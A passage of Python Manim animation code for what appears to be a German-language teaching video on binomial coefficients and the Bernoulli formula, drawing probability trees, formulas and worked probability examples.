*[row[k].animate(rate_func = there_and_back).shift(0.2*UP) for row, k in zip(cac_group, c_list1)], \r\n *[row[k].animate(rate_func = there_and_back).shift(0.2*UP) for row, k in zip(cac_group, c_list2)],\r\n lag_ratio = 0.05\r\n ),\r\n run_time = 2\r\n )\r\n self.wait()\r\n\r\n\r\n brace = Brace(cac_group, RIGHT, color = GREY)\r\n brace_tex = brace.get_tex(str(choose(4,2)))\r\n\r\n self.play(Create(brace))\r\n self.play(Write(brace_tex))\r\n self.wait(2)\r\n\r\n self.clear()\r\n\r\n def choose_1_out_of_4(self):\r\n tree = self.tree\r\n\r\n pfad_lists = [[1, 4, 10, 22], [0, 3, 8, 18], [0, 2, 7, 16], [0, 2, 6, 15]]\r\n one_pfads = VGroup(*[tree.get_pfad(numbers) for numbers in pfad_lists])\r\n\r\n self.add(one_pfads)\r\n self.add(tree.circles, tree.cx_marks)\r\n\r\n cx_remove = self.get_remove_pfad_nums_list(pfad_lists)\r\n self.remove(*[tree.cx_marks[k] for k in cx_remove])\r\n self.wait(2)\r\n\r\n # Add checks and crosses according to tree\r\n bool_lists = self.get_bool_lists(4, 1)\r\n cac_group = self.get_orientated_cac_group(bool_lists, one_pfads)\r\n\r\n add_anim = [ShowIncreasingSubsets(cac_group[0], run_time = 3)]\r\n self.animate_trace_along_path(pfad_lists[0], add_anim)\r\n self.wait()\r\n\r\n add_anim = [ShowIncreasingSubsets(cac_group[1], run_time = 3)]\r\n self.animate_trace_along_path(pfad_lists[1], add_anim)\r\n self.wait()\r\n\r\n for cac in cac_group[2:]:\r\n self.play(ShowIncreasingSubsets(cac))\r\n self.wait()\r\n\r\n brace = Brace(cac_group, RIGHT, color = GREY)\r\n brace_tex = brace.get_tex(str(choose(4,1)))\r\n\r\n self.play(Create(brace))\r\n self.play(Write(brace_tex))\r\n self.wait(2)\r\n\r\n\r\n self.num_of_combs = brace_tex\r\n\r\n def how_many_are_there(self):\r\n\r\n hm = Tex(\"Wie viele Möglichkeiten?\")\\\r\n .align_to(self.num_of_combs, RIGHT)\\\r\n .shift(2.5*UP)\r\n\r\n hm2 = Tex(\"1 Erfolg auf 4 mögliche Plätze zu verteilen\")\\\r\n .set(width = hm.width - 0.75)\\\r\n .next_to(hm, DOWN, buff = 0.1)\\\r\n .set_color(GREY_B)\r\n\r\n arrow = CurvedArrow(self.num_of_combs.get_corner(UR), hm.get_corner(DR), color = YELLOW_D, stroke_width = 3, tip_length = 0.25)\r\n self.play(Create(arrow), run_time = 1.5)\r\n self.play(Write(hm))\r\n self.play(FadeIn(hm2))\r\n self.wait(3)\r\n\r\n\r\n # functions\r\n\r\n def get_remove_pfad_nums_list(self, pfad_lists):\r\n # Create one list containing all number --> this include duplicates\r\n combine_pfad_lists = [x for lists in pfad_lists for x in lists]\r\n\r\n # Create target list --> add only those, you are not already in that list\r\n remove_duplicates = []\r\n [remove_duplicates.append(x) for x in combine_pfad_lists if x not in remove_duplicates]\r\n remove_duplicates.sort()\r\n\r\n final_numbers = []\r\n [final_numbers.append(x) for x in list(range(30)) if x not in remove_duplicates]\r\n\r\n return final_numbers\r\n\r\n def get_bool_lists(self, n, k):\r\n combs = list(it.combinations(range(n), k))\r\n bool_lists = [\r\n [i in comb for i in range(n)]\r\n for comb in combs\r\n ]\r\n return bool_lists\r\n\r\n def get_orientated_cac_group(self, bool_lists, pfads):\r\n cac_group = VGroup(*[\r\n get_checks_and_crosses(bool_list, width = 1.5) \r\n for bool_list in bool_lists\r\n ])\r\n\r\n for cac, pfad in zip(cac_group, pfads):\r\n cac.set(height = self.tree.cx_marks[0].height) # compare height with first cx_mark\r\n cac.next_to(pfad.get_end(), RIGHT, buff = 1) # place cac next to end of pfad line\r\n\r\n return cac_group\r\n\r\n def animate_trace_along_path(self, pfad_list, added_anims = None):\r\n moving_dot = Dot(point = self.tree.lines[0].get_start()).set_fill(opacity = 0)\r\n pfad = self.tree.get_pfad(pfad_list)\r\n trace = TracedPath(moving_dot.get_center, dissipating_time=0.75, stroke_opacity=[0, 1, 0], stroke_color = YELLOW_D, stroke_width = 8)\r\n\r\n if added_anims is None:\r\n added_anims = []\r\n\r\n self.add(trace)\r\n self.play(\r\n MoveAlongPath(moving_dot, pfad, run_time = 3), \r\n *added_anims\r\n )\r\n self.remove(trace)\r\n\r\n\r\nclass BinomialCoefficient(Scene):\r\n def construct(self):\r\n\r\n slots = VGroup(*[Line() for x in range(4)])\r\n for slot in slots:\r\n slot.set(width = 1)\r\n slot.set_stroke(width = 3)\r\n slot.set_color(GREY_B)\r\n slots.arrange(RIGHT, buff = 1)\r\n slots.shift(0.5*UP)\r\n\r\n\r\n bool_lists = self.get_bool_lists(4, 2)\r\n cac_group = self.get_orientated_cac_group(bool_lists)\r\n\r\n for cac in cac_group:\r\n for cx, slot in zip(cac, slots):\r\n cx.match_width(slot)\r\n cx.next_to(slot, UP)\r\n\r\n first_row = cac_group[0]\r\n\r\n comb_counter = 1\r\n comb_dec = Integer(comb_counter)\\\r\n .scale(2.5)\\\r\n .next_to(slots, DOWN, buff = 1.5)\\\r\n .add_updater(lambda dec: dec.set_value(comb_counter))\r\n\r\n self.play(\r\n Create(slots, lag_ratio = 0.2, run_time = 2), \r\n LaggedStartMap(DrawBorderThenFill, first_row, lag_ratio = 0.2, run_time = 3), \r\n Write(comb_dec, run_time = 1)\r\n )\r\n self.wait()\r\n\r\n for k in range(1, len(cac_group)):\r\n comb_counter +=1\r\n\r\n new_cac = cac_group[k]\r\n first_row.become(new_cac)\r\n self.wait(0.75)\r\n self.wait()\r\n\r\n equals = MathTex(\"=\", font_size = 96)\r\n equals.next_to(comb_dec, RIGHT)\r\n\r\n bin_coeff = MathTex(\"\\\\left(\", \"4\", \"\\\\over\", \"2\", \"\\\\right)\", font_size = 96)\r\n bin_coeff.remove(bin_coeff.get_part_by_tex(\"\\\\over\"))\r\n bin_coeff.next_to(equals, RIGHT)\r\n\r\n bin_tex = Tex(\"Bi\", \"nomialkoeffizient\", font_size = 72)\r\n bin_tex[0].set_color(YELLOW_D)\r\n bin_tex[1].set_color(BLUE_B)\r\n bin_tex.next_to(bin_coeff, DOWN)\r\n\r\n self.play(FadeIn(equals, shift=LEFT))\r\n self.play(\r\n Write(bin_coeff), \r\n Write(bin_tex)\r\n )\r\n self.wait()\r\n\r\n bin_speech = Tex(\"Vier\\\\\\\\\", \"über\\\\\\\\\", \"Zwei\", font_size = 96)\r\n bin_speech[1].scale(0.5)\r\n bin_speech.match_height(bin_coeff)\r\n bin_speech.next_to(bin_coeff, RIGHT)\r\n\r\n self.play(LaggedStartMap(FadeIn, bin_speech, rate_func = there_and_back_with_pause), run_time = 3)\r\n self.wait()\r\n\r\n self.play(\r\n *[mob.animate.shift(5*LEFT) for mob in [comb_dec, equals, bin_coeff]], \r\n run_time = 1.5\r\n )\r\n self.wait()\r\n\r\n bin_def = MathTex(\"{\" + \"n\", \"!\", \"\\\\over\", \"k\", \"!\", \"\\\\cdot\", \"(\", \"n\", \"-\", \"k\", \")\", \"!\" + \"}\", font_size = 96)\r\n bin_def.next_to(bin_coeff, RIGHT, buff = 1)\r\n bin_def.align_to(bin_tex, ORIGIN)\r\n\r\n bin_def2 = MathTex(\"{\" + \"4\", \"!\", \"\\\\over\", \"2\", \"!\", \"\\\\cdot\", \"(\", \"4\", \"-\", \"2\", \")\", \"!\" + \"}\", font_size = 96)\r\n bin_def2.next_to(bin_coeff, RIGHT, buff = 1)\r\n bin_def2.align_to(bin_tex, ORIGIN)\r\n\r\n self.play(Write(bin_def), run_time = 2)\r\n self.wait()\r\n\r\n self.play(Transform(bin_def, bin_def2, lag_ratio = 0.2), run_time = 2)\r\n self.wait(2)\r\n\r\n rect = SurroundingRectangle(comb_dec).set_color([YELLOW_D, BLUE])\r\n self.play(Create(rect), run_time = 3)\r\n self.wait(0.5)\r\n self.play(FadeOut(rect, scale = 4))\r\n self.wait(3)\r\n\r\n\r\n\r\n # functions \r\n def get_bool_lists(self, n, k):\r\n combs = list(it.combinations(range(n), k))\r\n bool_lists = [\r\n [i in comb for i in range(n)]\r\n for comb in combs\r\n ]\r\n return bool_lists\r\n\r\n def get_orientated_cac_group(self, bool_lists):\r\n cac_group = VGroup(*[\r\n get_checks_and_crosses(bool_list, width = 1.5) \r\n for bool_list in bool_lists\r\n ])\r\n return cac_group\r\n\r\n\r\nclass ShowAllBinCoeffInBinomTree(NChooseK):\r\n def construct(self):\r\n\r\n self.show_coeffs()\r\n self.bring_back_2()\r\n self.add_them_all_up()\r\n\r\n\r\n def show_coeffs(self):\r\n tree_config = {\"width\": 6, \"height\": 6, \"num_events\": 4}\r\n tree = self.tree = BinomTree(**tree_config)\r\n tree.shift(2*LEFT + 0.5*UP)\r\n\r\n # tree_nums = tree.get_pfad_nums()\r\n # self.add(tree, tree_nums)\r\n\r\n\r\n self.pfad_lists_0 = [[0, 2, 6, 14]]\r\n self.pfad_lists_1 = [[1, 4, 10, 22], [0, 3, 8, 18], [0, 2, 7, 16], [0, 2, 6, 15]]\r\n self.pfad_lists_2 = [[1, 5, 12, 26], [1, 4, 11, 24], [1, 4, 10, 23], [0, 3, 9, 20], [0, 3, 8, 19], [0, 2, 7, 17]]\r\n self.pfad_lists_3 = [[0, 3, 9, 21], [1, 4, 11, 25], [1, 5, 12, 27], [1, 5, 13, 28]]\r\n self.pfad_lists_4 = [[1, 5, 13, 29]]\r\n\r\n all_pfad_lists = [lists for lists in [self.pfad_lists_0, self.pfad_lists_1, self.pfad_lists_2, self.pfad_lists_3, self.pfad_lists_4]]\r\n\r\n for x, pfad_lists in enumerate(all_pfad_lists):\r\n pfade = VGroup(*[tree.get_pfad(numbers) for numbers in pfad_lists])\r\n cx_remove = self.get_remove_pfad_nums_list(pfad_lists)\r\n\r\n\r\n bool_lists = self.get_bool_lists(4, x)\r\n cac_group = self.get_orientated_cac_group(bool_lists, pfade)\r\n if x == 4:\r\n cac_group.scale_to_fit_width(width = 1, about_point = cac_group.get_left())\r\n\r\n\r\n brace = Brace(cac_group, RIGHT, color = GREY)\r\n num_of_pfads = brace.get_tex(str(choose(4, x)))\r\n\r\n equals = MathTex(\"=\").next_to(num_of_pfads, RIGHT)\r\n\r\n bin_coeff = MathTex(\"\\\\left(\", \"4\", \"\\\\over\", str(x), \"\\\\right)\")\r\n bin_coeff.remove(bin_coeff.get_part_by_tex(\"\\\\over\"))\r\n bin_coeff.next_to(equals, RIGHT)\r\n\r\n if x == 0:\r\n self.play(Create(pfade), run_time = 1.5)\r\n self.add(tree.circles, tree.cx_marks)\r\n self.remove(*[tree.cx_marks[k] for k in cx_remove])\r\n self.play(\r\n AnimationGroup(\r\n *[ShowIncreasingSubsets(cac) for cac in cac_group], \r\n lag_ratio = 0.2\r\n ), \r\n run_time = 2\r\n )\r\n self.remove(*[cac for cac in cac_group])\r\n self.add(cac_group)\r\n self.play(\r\n Create(brace), \r\n Write(num_of_pfads), \r\n FadeIn(equals, shift = UP),\r\n FadeIn(bin_coeff, shift = LEFT), \r\n run_time = 2\r\n )\r\n else:\r\n self.add(pfade, tree.circles, tree.cx_marks)\r\n self.remove(*[tree.cx_marks[k] for k in cx_remove])\r\n self.add(cac_group, brace, num_of_pfads, equals, bin_coeff)\r\n self.wait(2)\r\n\r\n\r\n self.remove(pfade, tree.circles, tree.cx_marks, cac_group, brace, num_of_pfads, equals, bin_coeff)\r\n self.clear()\r\n\r\n\r\n\r\n # # Moving Camera to tree \r\n # self.camera.frame.save_state()\r\n # self.play(\r\n # self.camera.frame.animate.set(height = tree.height).move_to(tree).shift(1.75*RIGHT), \r\n # run_time = 2\r\n # )\r\n # self.wait()\r\n\r\n\r\n # # Add checks and crosses according to tree\r\n # \r\n\r\n def bring_back_2(self):\r\n tree = self.tree\r\n\r\n pfade = VGroup(*[tree.get_pfad(numbers) for numbers in self.pfad_lists_2])\r\n cx_remove = self.get_remove_pfad_nums_list(self.pfad_lists_2)\r\n\r\n bool_lists = self.get_bool_lists(4, 2)\r\n cac_group = self.get_orientated_cac_group(bool_lists, pfade)\r\n\r\n brace = Brace(cac_group, RIGHT, color = GREY)\r\n num_of_pfads = brace.get_tex(str(choose(4, 2)))\r\n\r\n equals = MathTex(\"=\").next_to(num_of_pfads, RIGHT)\r\n\r\n bin_coeff = MathTex(\"\\\\left(\", \"4\", \"\\\\over\", \"2\", \"\\\\right)\")\r\n bin_coeff.remove(bin_coeff.get_part_by_tex(\"\\\\over\"))\r\n bin_coeff.next_to(equals, RIGHT)\r\n\r\n\r\n self.add(pfade, tree.circles, tree.cx_marks)\r\n self.remove(*[tree.cx_marks[k] for k in cx_remove])\r\n self.add(cac_group, brace, num_of_pfads, equals, bin_coeff)\r\n\r\n bin_tex1 = Tex(\"Binomialkoeffizient\")\\\r\n .set(width = bin_coeff.width * 3.5)\\\r\n .next_to(bin_coeff, UP, buff = 0.5)\\\r\n .set_color(BLUE_D)\r\n bin_tex2 = Tex(\"Anzahl der Pfade, die\\\\\\\\\", \"zu $k$ Erfolgen führen\")\\\r\n .set(width = bin_tex1.width)\\\r\n .next_to(bin_tex1, UP)\\\r\n .set_color(GREY)\r\n\r\n self.add(bin_tex1, bin_tex2)\r\n\r\n self.wait(2)\r\n\r\n\r\n\r\n moving_dots = VGroup(*[Dot(point = self.tree.lines[0].get_start()).set_fill(opacity = 0) for x in range(choose(4, 2))])\r\n traces = VGroup(*[\r\n TracedPath(dot.get_center, dissipating_time=0.75, stroke_opacity=[0, 1, 0], stroke_color = YELLOW_D, stroke_width = 8)\r\n for dot in moving_dots\r\n ])\r\n\r\n self.add(traces)\r\n self.play(\r\n AnimationGroup(\r\n *[MoveAlongPath(dot, pfad, run_time = 5) for dot, pfad in zip(moving_dots, pfade)], \r\n lag_ratio = 0.1\r\n ), \r\n run_time = 5\r\n )\r\n self.remove(traces)\r\n self.wait(2)\r\n\r\n\r\n self.cac_group, self.coeff = cac_group, num_of_pfads\r\n\r\n def add_them_all_up(self):\r\n bg = Rectangle(width = self.tree.width + 0.5, height = self.tree.height + 0.5)\r\n bg.set_stroke(width = 0)\r\n bg.set_fill(BLACK, 0.8)\r\n bg.move_to(self.tree)\r\n\r\n cac_group = self.cac_group.copy()\r\n cac_group.generate_target()\r\n cac_group.target.scale(1.5).arrange(DOWN, buff = 0.5).move_to(bg.get_center())\r\n\r\n prob = MathTex(\"P\", \"(\", \"X\", \"=\", \"2\", \")\")\r\n prob.set_color_by_tex_to_color_map({\"2\": C_COLOR})\r\n prob.next_to(cac_group.target, LEFT, buff = 1.5, aligned_edge = UP)\r\n prob.shift(0.05*UP)\r\n\r\n self.play(\r\n FadeIn(bg),\r\n Create(prob, rate_func = squish_rate_func(smooth, 0.5, 1)),\r\n )\r\n self.wait(0.25)\r\n\r\n self.play(MoveToTarget(cac_group, lag_ratio = 0.2), run_time = 3)\r\n\r\n\r\n ps = VGroup()\r\n left_braces = VGroup()\r\n right_braces = VGroup()\r\n pluses = VGroup()\r\n\r\n for cac in cac_group:\r\n left_brace = MathTex(\"(\")\\\r\n .set(height = cac.height + 0.1)\\\r\n .next_to(cac, LEFT, buff = 0.1)\r\n right_brace = MathTex(\")\")\\\r\n .set(height = cac.height + 0.1)\\\r\n .next_to(cac, RIGHT, buff = 0.1)\r\n p = MathTex(\"P\")\\\r\n .match_height(cac)\\\r\n .next_to(left_brace, LEFT, buff = 0.1)\r\n plus = MathTex(\"+\")\\\r\n .next_to(p, LEFT)\\\r\n .set_color(BLUE_D)\r\n\r\n ps.add(p)\r\n left_braces.add(left_brace)\r\n right_braces.add(right_brace)\r\n pluses.add(plus)\r\n\r\n\r\n self.play(\r\n LaggedStartMap(FadeIn, right_braces, shift = LEFT, lag_ratio = 0.1),\r\n LaggedStartMap(FadeIn, left_braces, shift = RIGHT, lag_ratio = 0.1),\r\n LaggedStartMap(FadeIn, ps, shift = RIGHT, lag_ratio = 0.1),\r\n run_time = 1.5\r\n )\r\n\r\n equals = MathTex(\"=\").move_to(pluses[0])\r\n pluses[0] = equals\r\n\r\n self.play(\r\n LaggedStartMap(FadeIn, pluses, scale = 0.2, lag_ratio = 0.1),\r\n run_time = 1.5\r\n )\r\n self.wait(2)\r\n\r\n\r\n line = Line(stroke_width = 3, color = GREY)\r\n line.set(width = VGroup(pluses, right_braces).height + 0.5)\r\n line.next_to(VGroup(pluses, right_braces), DOWN, buff = 0.2)\r\n self.play(Create(line))\r\n\r\n\r\n coeff = self.coeff.copy()\r\n coeff.generate_target()\r\n coeff.target.scale(1.25).next_to(pluses, DOWN, buff = 0.7).set_color(BLUE_D)\r\n\r\n\r\n rest = MathTex(\"\\\\cdot \\\\\", \"0.25^\", \"2\", \"\\\\cdot\", \"0.75^\", \"2\")\r\n rest.scale(1.25)\r\n rest[-1].set_color(X_COLOR)\r\n rest[2].set_color(C_COLOR)\r\n rest[1].set_color(YELLOW_D)\r\n rest.next_to(coeff.target, RIGHT, aligned_edge = DOWN)\r\n\r\n self.play(Write(rest[:3]))\r\n c_list1 = [0,0,0,1,1,2] # this is super hacky\r\n c_list2 = [1,2,3,2,3,3] # ....\r\n self.play(\r\n AnimationGroup(\r\n *[row[k].animate(rate_func = there_and_back).shift(0.2*UP) for row, k in zip(cac_group, c_list1)], \r\n *[row[k].animate(rate_func = there_and_back).shift(0.2*UP) for row, k in zip(cac_group, c_list2)],\r\n lag_ratio = 0.05\r\n ),\r\n run_time = 2\r\n )\r\n self.wait()\r\n\r\n self.play(Write(rest[3:]))\r\n x_list1 = [2,1,1,0,0,0]\r\n x_list2 = [3,3,2,3,2,1]\r\n self.play(\r\n AnimationGroup(\r\n *[row[k].animate(rate_func = there_and_back).shift(0.2*UP) for row, k in zip(cac_group, x_list1)],\r\n *[row[k].animate(rate_func = there_and_back).shift(0.2*UP) for row, k in zip(cac_group, x_list2)],\r\n lag_ratio = 0.05\r\n ),\r\n run_time = 2\r\n )\r\n self.wait(2)\r\n\r\n\r\n self.play(MoveToTarget(coeff, path_arc = -np.pi/4), run_time = 3)\r\n rect = SurroundingRectangle(VGroup(coeff, rest)).set_color([BLUE_D, RED, GREEN, YELLOW_D])\r\n self.play(Create(rect), run_time = 3)\r\n self.wait(0.25)\r\n self.play(FadeOut(rect, scale = 4))\r\n self.wait(3)\r\n\r\n\r\nclass CalculateProbability(Scene):\r\n def construct(self):\r\n\r\n self.setup_scene()\r\n self.prob_2_out_of_4()\r\n self.prob_1_out_of_4()\r\n self.prob_8_out_of_10()\r\n\r\n\r\n def setup_scene(self):\r\n # title = Tex(\"Wahrscheinlichkeit für \", \"2\", \" Erfolge bei 4 Wiederholungen\")\r\n # title.set(width = config[\"frame_width\"] - 3)\r\n # title.set_color_by_gradient(YELLOW_D, BLUE_B, LIGHT_GREY, BLUE_B, YELLOW_D)\r\n # title.to_edge(UP)\r\n\r\n # uline = Line(color = DARK_GREY, stroke_width = 2)\r\n # uline.set_length(config[\"frame_width\"])\r\n # uline.next_to(title, DOWN, buff = 0.1)\r\n\r\n # self.add(title, uline)\r\n\r\n formula_gen = MathTex(\r\n \"P\", \"(\", \"X\", \"=\", \"k\", \")\", \"=\",\r\n \"\\\\left(\", \"{\" + \"n\", \"\\\\over\", \"k\" + \"}\", \"\\\\right)\", \"\\\\cdot\", \r\n \"p^\", \"k\", \"\\\\cdot\", \r\n \"(\", \"1\", \"-\", \"p\", \")^\", \"{\" + \"n-k\" + \"}\"\r\n )\r\n formula_gen.scale(1.5)\r\n formula_gen.move_to(1.25*UP + 0.5*LEFT)\r\n formula_gen.remove(formula_gen.get_part_by_tex(\"\\\\over\"))\r\n formula_gen.set_color_by_tex_to_color_map({\"p\": YELLOW_D, \"k\": C_COLOR, \"n-k\": X_COLOR})\r\n\r\n\r\n meaning_list = [\r\n \"Anzahl der\\\\\\\\ Erfolge\", \r\n \"Anzahl der Pfade, die\\\\\\\\ zu $k$ Erfolgen führen\", \r\n \"Wkt. für \\\\\\\\ Erfolge\", \r\n \"Wkt. für \\\\\\\\ Misserfolge\"\r\n ]\r\n targets = [formula_gen[2:5], formula_gen[7:11], formula_gen[12:14], formula_gen[15:]]\r\n meanings = VGroup(*[Tex(mean) for mean in meaning_list])\r\n for tex, target, dir in zip(meanings, targets, [UP, DOWN, UP, DOWN]):\r\n tex.next_to(target, dir, buff = 0.75)\r\n\r\n target_rects = VGroup(*[\r\n DashedVMobject(SurroundingRectangle(obj, color = BLUE_E), num_dashes=50)\r\n for obj in targets\r\n ])\r\n\r\n self.play(\r\n LaggedStartMap(FadeIn, meanings, lag_ratio = 0.25),\r\n LaggedStartMap(Create, target_rects, lag_ratio = 0.25),\r\n run_time = 4\r\n )\r\n self.wait()\r\n self.play(\r\n FadeIn(formula_gen, lag_ratio = 0.1), run_time = 3 \r\n )\r\n self.wait()\r\n\r\n target_positions = [\r\n formula_gen[2:5].get_center() + 1.5*UP, \r\n formula_gen[7:11].get_center() + 1.5*UP + 0.5*LEFT, \r\n formula_gen[12:14].get_center() + 1.5*UP + 0.25*DOWN, \r\n formula_gen[15:].get_center() + 1.5*UP + 0.25*DOWN\r\n ]\r\n\r\n for meaning, pos in zip(meanings, target_positions):\r\n meaning.generate_target()\r\n meaning.target.scale(0.5).move_to(pos)\r\n \r\n self.play(LaggedStartMap(MoveToTarget, meanings, lag_ratio = 0.2), run_time = 1.5)\r\n self.wait()\r\n\r\n\r\n self.formula_gen = formula_gen\r\n\r\n def prob_2_out_of_4(self):\r\n formula_gen = self.formula_gen\r\n\r\n n, p, k = 4, 0.25, 2\r\n\r\n formula = get_binom_formula(n, p, k)\r\n formula.scale(1.5)\r\n formula.next_to(formula_gen, DOWN, buff = 1)\r\n\r\n formula[:6].align_to(formula_gen[:6], RIGHT)\r\n formula[6:].align_to(formula_gen[6:], LEFT)\r\n\r\n self.play(Write(formula[:6]))\r\n self.wait(0.5)\r\n self.play(FadeIn(formula[6:11]))\r\n self.wait()\r\n\r\n self.play(Write(formula[11:14]))\r\n self.wait()\r\n self.play(Write(formula[14:]))\r\n self.wait(2)\r\n\r\n approx = MathTex(\"\\\\approx\")\\\r\n .scale(1.5)\\\r\n .to_edge(DOWN, buff = 1)\\\r\n .shift(1.5*RIGHT)\r\n\r\n result_num = get_binom_result(n, p, k)\r\n result = MathTex(str(result_num)).scale(1.5).next_to(approx, RIGHT)\r\n\r\n self.play(FadeIn(approx, shift = LEFT))\r\n self.play(Write(result))\r\n rect = SurroundingRectangle(VGroup(approx, result)).set_color([YELLOW_D, GREEN, RED])\r\n self.play(Create(rect), run_time = 3)\r\n self.play(FadeOut(rect, scale = 4))\r\n self.wait(3)\r\n\r\n\r\n self.formula, self.result = formula, result\r\n\r\n def prob_1_out_of_4(self):\r\n formula_gen = self.formula_gen\r\n\r\n n, p, k = 4, 0.25, 1\r\n\r\n formula = get_binom_formula(n, p, k)\r\n formula.scale(1.5)\r\n formula.next_to(formula_gen, DOWN, buff = 1)\r\n\r\n formula[:6].align_to(formula_gen[:6], RIGHT)\r\n formula[6:].align_to(formula_gen[6:], LEFT)\r\n\r\n self.play(FadeTransform(self.formula, formula, lag_ratio = 0.2), run_time = 2)\r\n self.wait()\r\n\r\n self.play(Flash(self.formula[-2], color = RED, flash_radius = 0.2))\r\n self.wait()\r\n\r\n approx = MathTex(\"\\\\approx\")\\\r\n .scale(1.5)\\\r\n .to_edge(DOWN, buff = 1)\\\r\n .shift(1.5*RIGHT)\r\n\r\n result_num = get_binom_result(n, p, k)\r\n result = MathTex(str(result_num)).scale(1.5).next_to(approx, RIGHT)\r\n\r\n self.play(Transform(self.result, result, lag_ratio = 0.1))\r\n rect = SurroundingRectangle(VGroup(approx, result)).set_color([YELLOW_D, GREEN, RED])\r\n self.play(Create(rect), run_time = 3)\r\n self.play(FadeOut(rect, scale = 4))\r\n self.wait(3)\r\n\r\n\r\n self.old_formula = formula\r\n\r\n def prob_8_out_of_10(self):\r\n formula_gen = self.formula_gen\r\n\r\n n, p, k = 10, 0.25, 8\r\n\r\n formula = get_binom_formula(n, p, k)\r\n formula.scale(1.5)\r\n formula.next_to(formula_gen, DOWN, buff = 1)\r\n\r\n formula[:6].align_to(formula_gen[:6], RIGHT)\r\n formula[6:].align_to(formula_gen[6:], LEFT)\r\n\r\n self.remove(self.old_formula)\r\n self.wait()\r\n\r\n\r\n self.play(Write(formula[:6]))\r\n self.wait(0.5)\r\n self.play(FadeIn(formula[6:11]))\r\n self.wait()\r\n\r\n self.play(Write(formula[11:14]))\r\n self.wait()\r\n self.play(Write(formula[14:]))\r\n self.wait(2)\r\n\r\n self.play(Flash(formula[-1], color = RED, flash_radius = 0.2))\r\n self.wait()\r\n\r\n approx = MathTex(\"\\\\approx\")\\\r\n .scale(1.5)\\\r\n .to_edge(DOWN, buff = 1)\\\r\n .shift(1.5*RIGHT)\r\n\r\n result_num = get_binom_result(n, p, k)\r\n result = MathTex(str(result_num)).scale(1.5).next_to(approx, RIGHT)\r\n\r\n self.play(Transform(self.result, result))\r\n rect = SurroundingRectangle(VGroup(approx, result)).set_color([YELLOW_D, GREEN, RED])\r\n self.play(Create(rect), run_time = 3)\r\n self.play(FadeOut(rect, scale = 4))\r\n self.wait(3)\r\n\r\n\r\nclass DealingWithMoreThen8(Scene):\r\n def construct(self):\r\n title1 = Tex(\"Einzelwahrscheinlichkeit\", font_size = 72, color = GREY_B)\r\n title1.move_to(2*LEFT + 3*UP)\r\n\r\n eq1 = MathTex(\"P\", \"(\", \"X\", \"=\", \"8\", \")\", \"=\", \"\\\\ldots\", font_size = 72)\r\n eq1.next_to(title1, DOWN, buff = 0.5, aligned_edge=LEFT)\r\n eq1.shift(0.5*RIGHT)\r\n\r\n title2 = Tex(\"??? Wahrscheinlichkeit\", font_size = 72, color = GREY_B)\r\n title2.move_to(2*LEFT + 0.5*DOWN)\r\n title2.align_to(title1, LEFT)\r\n\r\n eq2 = MathTex(\"P\", \"(\", \"X\", \">\", \"8\", \")\", \"=\", \"\\\\ldots\", font_size = 72)\r\n eq2.next_to(title2, DOWN, buff = 0.5, aligned_edge=LEFT)\r\n eq2.shift(0.5*RIGHT)\r\n\r\n exp1 = Tex(\"genau \", \"8\", font_size = 60)\\\r\n .next_to(eq1, DOWN, buff = 0.5, aligned_edge=LEFT)\\\r\n .shift(3*RIGHT)\r\n\r\n exp2 = Tex(\"mehr als \", \"8\", font_size = 60)\\\r\n .next_to(eq2, DOWN, buff = 0.5, aligned_edge=LEFT)\\\r\n .shift(3*RIGHT)\r\n\r\n for eq in eq1, eq2:\r\n eq[3].set_color(MAROON)\r\n eq[4].set_color(C_COLOR)\r\n\r\n for exp in exp1, exp2:\r\n exp[0].set_color(MAROON)\r\n exp[1].set_color(C_COLOR)\r\n\r\n arrow1 = CurvedArrow(exp1.get_left() + 0.15*LEFT, eq1[3].get_bottom() + 0.15*DOWN, angle=-TAU / 4, tip_length = 0.25)\r\n arrow2 = CurvedArrow(exp2.get_left() + 0.15*LEFT, eq2[3].get_bottom() + 0.15*DOWN, angle=-TAU / 4, tip_length = 0.25)\r\n\r\n\r\n self.add(title1, eq1, eq2)\r\n self.wait()\r\n\r\n self.play(Create(arrow1))\r\n self.play(Write(exp1))\r\n self.wait()\r\n\r\n\r\n self.play(Create(arrow2))\r\n self.play(Write(exp2))\r\n self.wait()\r\n\r\n # self.play(Write(title2))\r\n # self.wait()\r\n\r\n tbc = Tex(\"...to be continued...\", color = GREY)\\\r\n .next_to(VGroup(eq2, exp2), RIGHT, buff = 1)\r\n for x in range(3):\r\n new_tbc = tbc.copy()\r\n self.play(FadeIn(new_tbc, rate_func = there_and_back), run_time = 2)\r\n self.wait(3)\r\n\r\n\r\nclass NextVideo(Scene):\r\n def construct(self):\r\n fsr = ScreenRectangle(height = 5, stroke_width = 3, stroke_color = DARK_GREY)\r\n fsr.to_edge(DOWN, buff = 1)\r\n\r\n title = Tex(\"Nächstes Video\", font_size = 72, color = GREY_A)\r\n title.to_edge(UP)\r\n\r\n uline = Line(color = GREY, stroke_width = 3)\r\n uline.set(width = config[\"frame_width\"] - 5)\r\n uline.next_to(title, DOWN, buff = 0.1)\r\n\r\n self.play(\r\n Create(uline, run_time = 3),\r\n Write(title, run_time = 1),\r\n Create(fsr, run_time = 3),\r\n )\r\n self.wait(5)\r\n\r\n\r\nclass Thumbnail(Scene):\r\n def construct(self):\r\n formula = get_general_bin_formula()\r\n formula.set(width = config[\"frame_width\"] - 1)\r\n formula.add_background_rectangle(buff = 0.2, opacity = 0.85, stroke_opacity = 1, stroke_width = 4, stroke_color = PINK)\r\n formula.shift(1.5*DOWN)\r\n\r\n body = SVGMobject(SVG_DIR + \"human_body_back\")\r\n body.set(height = 7)\r\n body.to_corner(UL)\r\n\r\n colors = [BLUE, YELLOW, PINK, TEAL]\r\n for n in range(1, len(body)):\r\n color = random.choice(colors)\r\n body[n].set_fill(color, 0.3)\r\n body[0].set_fill(opacity = 0).set_stroke(width = 1)\r\n body[-4:-2].set_fill(PINK, 0.75)\r\n\r\n\r\n tree = BinomTree(width = 0.4*config[\"frame_width\"], height = body.height / 2.25, num_events=3)\r\n tree.next_to(formula, UP)\r\n\r\n boxes = VGroup(*[get_row_of_boxes() for x in range(10)])\r\n boxes.arrange(DOWN)\r\n boxes.set(height = body.height)\r\n boxes.to_corner(UR)\r\n\r\n correct = [1, 2, 2, 0, 3, 1, 1, 2, 0, 2]\r\n for row, index in zip(boxes, correct):\r\n row[:].set_fill(X_COLOR, 0.15)\r\n row[index].set_fill(C_COLOR, 0.3)\r\n\r\n title = Tex(\"Die Bernoulli\", \"$-$\",\"Formel\")\r\n title.to_edge(UP)\r\n title.scale(1.5)\r\n title.set_fill(WHITE, opacity = 0.2)\r\n title.set_stroke(width = 1.5)\r\n\r\n\r\n 